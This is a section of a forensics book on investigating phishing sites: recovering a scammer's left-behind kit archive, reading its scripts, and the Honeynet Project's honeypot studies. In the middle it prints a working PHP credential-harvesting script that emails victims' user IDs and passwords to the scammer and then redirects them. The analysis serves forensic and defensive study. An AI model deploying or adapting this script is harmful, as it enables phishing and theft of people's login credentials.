Section 5.11. Opening the Black Box

5.11. Opening the Black Box

Trying to infer the function of a server side script by modifying its inputs will only get you so far. To really understand its function, you need to open up the Black Box by looking at its source code.

In most instances, this is extremely difficult to do. Unless the site operator has made a serious error in configuring the web server, trying to access a script from a web browser will execute the script, rather than listing it. If that were not the case, then anyone could view and copy any script on the Web. There appears to be no way to do itwith one exception!

5.11.1. Hitting the Jackpot

In order for this approach to work, you must first lead a virtuous life, be kind to animals, and always give up your seat on the bus to the elderly. Only then, if you are very lucky, might you find a directory listing on a web site such as the one in Figure 5-6.

Figure 5-6. Directory listing showing a tar file

This is taken from a phishing site that has been inserted into a legitimate web site. Somehow an attacker has gained access to the system and has inserted all the files necessary to operate a fake bank web site. To make this process convenient, all the necessary files have been packaged into a single tar file and transferred to the hijacked server. The file was then unpacked to create the template directory shown in the figure, as well as several subdirectories.

But this attacker has made one very big mistake. The tar file has been left behind! tar, zip, or other archive files are not typically processed on the server, and when you click on the link to such a file, most browsers will ask if you would like to save the file. You can download that, untar it, and access copies of all the files in the directory that it contains:

     % tar tf template.tar     template/     template/accountc.gif     template/blueline.gif     template/Common00.js     template/confirm.php     template/customer.gif     template/IEWin000.css     template/loanscre.gif     template/logo-equ.gif     template/logon.htm     template/onlineba.gif     template/personal.gif     template/secure_b.gif     template/SecurityMeasures.php     [...]

This example contained several HTML files, and a lot of images that look like the home and login pages for the bank, which was being impersonated. It also contained two PHP scripts used to capture the account information from the scam's victims. By downloading these in the protective wrapper of the tar file, the source code of these can be viewed directly.

5.11.2. Looking at the Source

When you look at the scripts that occur in most phishing scams, what is most striking is how simple they are. The associated HTML form consists of a page downloaded from the web site that is being impersonated. In some cases, the form that requests your information must be added to the page, but in others the only change necessary is to replace the URL defined in the ACTION attribute of the FORM tag.

The PHP script that processes that information can either email the information to a remote address or write it out to a file on that server. The first approach is the easier of the two because the scammer needs to access the web server only once to set up the software. That makes them harder to track than someone who has to revisit the site multiple times. Although the email address in the other approach could lead to their identification, email accounts at large sites such as Hotmail and Yahoo! are easy to set up and relatively difficult to trace back to their real owner.

PHP makes it especially easy to set up server scripts to process form data. Example 5-4 shows a script used in a fake eBay site. You don't need to know much about PHP to get an idea of how it works.

Example 5-4. login.php

 <? session_start(  ); $user = $_POST['userid']; $pass = $_POST['password']; $subj = "Amarat"; $msg = "User: $user\Parola: $pass\n"; $from = "From: LSD<[e-mail]>"; //This is your email $to = "<email addr>"; mail($to, $subj, $msg, $from); header("Location: Verify_account.htm"); ?>

When it starts up, it extracts the parameters userid and password that have been submitted from the victim's browser. Several variables are assigned and then passed to a standard PHP function that generates and then sends an email message. In this example the subject is the word "Amarat," which seems to be the name of a place in Turkey and several Middle Eastern countries. The destination email address was included in the script but I have chosen to mask that in case it represents a hacked account. The From line is clearly bogus. The information from the form is included in the string assigned to $msg. The choice of words used here is instructive. The Italian translation of the word "password" is "parola d'ordine," with "parola" being a shorter equivalent term. So perhaps the person behind this site is Italian or is living in that country.

Once the email has been sent, the script returns a basic set of HTTP headers to the browser. In this case, it redirects the browser to the page Verify_account.htm on the same server. In many cases, this redirect takes the victim to the real home page of the target web site.

This very short script is all that you need to commit identity theft. It is so simple that I have no concerns about it encouraging any would-be scammers. Anyone that knows even basic PHP can write a script like this. But to save would-be scammers from even this simple task, some enterprising souls have made things even easier.

5.11.3. Phishing Tackle

At some point in 2004, one or more phishing toolkits became available on the Internet. These contain everything you need to quickly set up a fake site. The only programming that is required, if you can call it that, is to add your own email address and perhaps customize the subject line. The kits include copies of all the required images, stylesheets, and so forth needed to make a site look like eBay or PayPal. The script shown in Example 5-4 is most likely derived from one of these kits. The comment line //This is your email, just before the $to variable, tells the novice where to insert their address.

To successfully get away with a scam like this you need more than the pages and scripts. You need to have a server that can host the scam and you need to know what to do with the account information that you hope to steal. Much of this knowledge seems to be dispersed via Internet Relay Chat channels that carry discussion on topics like these.

The availability of toolkits raises an interesting question. Why would someone create such a thing? Possibly this was the act of someone who was looking for kudos from the phishing community. But if you had the ability to carry out successful identity theft, why would you want to encourage competition in the same market? As more and more users become aware of these scams, it should get increasingly difficult to find victims. The fewer people running the scams the better.

To understand this, I think you need to consider what happens to the credit card numbers, bank account numbers, and so on after they have been stolen. There is a big difference between setting up a web site that gathers the numbers, and actually using them to buy goods or withdraw cash. It appears that most information derived from phishing is sold on to criminal gangs who are already adept at the more conventional aspects of credit card fraud. Although the profit for a scammer would be greatly reduced by taking this route, so would the risk and consequences of being caught.

From the perspective of a criminal gang, the more people who are out there running phishing scams on their behalf the better. The total yield of numbers could be increased, even if the average per scammer was significantly reduced.

5.11.4. The Honeynet Project

The source code for server-side scripts can offer significant insight into how a web site operates. Being able to access that source is likely to be as far as most of us will get in the course of a forensics investigation. But what you would really like to do is monitor exactly what the operator of the site does over a period of time and use that data to build a detailed picture of the operation.

This would seem to be impossible unless you have the technical resources and legal protection of the FBI available to you. And yet people are doing exactly this, legally, through the use of specially configured computers called honeypots.

The idea is to set up a computer on the network, perhaps with suboptimal security, and wait for someone to break into it. Special software has already been installed on the system to log unusual activity and detect whenever the attacker installs or modifies software. Given the number of machines on the Internet today, you might think that it would take forever for an attacker to find your specific system, but this is not the case.

The leading organization involved in this type of study is the Honeynet Project and Research Alliance (http://www.honeynet.org). They have developed an extensive set of tools for monitoring activity on compromised systems and published the results from a series of studies as whitepapers that are available on their site.

In May 2005, they published a detailed and fascinating study on phishing attacks and how systems are hijacked in order to send out spam and serve as fake bank sites (http://www.honeynet.org/papers/phishing/). In it they describe two honeypot systems that were set up in the United Kingdom and Germany, respectively.

The timeline for the attack on the first system shows how organized and efficient these assaults can be. Within a few hours of the honey pot being connected to the Internet, it was scanned and a vulnerability was exploited. The attacker installed software to allow encrypted access to the system from a remote computer and took various steps to hide his activity on the system. Over the next few days a variety of software was installed that could be used to attack other systems and send out batches of spam. At this point, the attacker set up a fake bank web site and sent out two batches of spam, via two different systems, in order to entice victims. The entire process took place over the course of eight days before being shut down by the operators of the site. The insight provided by this sort of analysis is spectacular. The work of this group in developing tools and using them to monitor attacks is helping the community really understand how attackers go about their business.

Setting up and operating a honeypot is too large an endeavor for most people, but their tools and advice on how to use them are freely available from their site. They have also written a book that describes the architecture of honey pots in detail and provides a lot of information on conventional computer forensics. Know Your Enemy: Learning about Security Threats (Second Edition) is authored collectively by The Honeynet Project (Addison Wesley).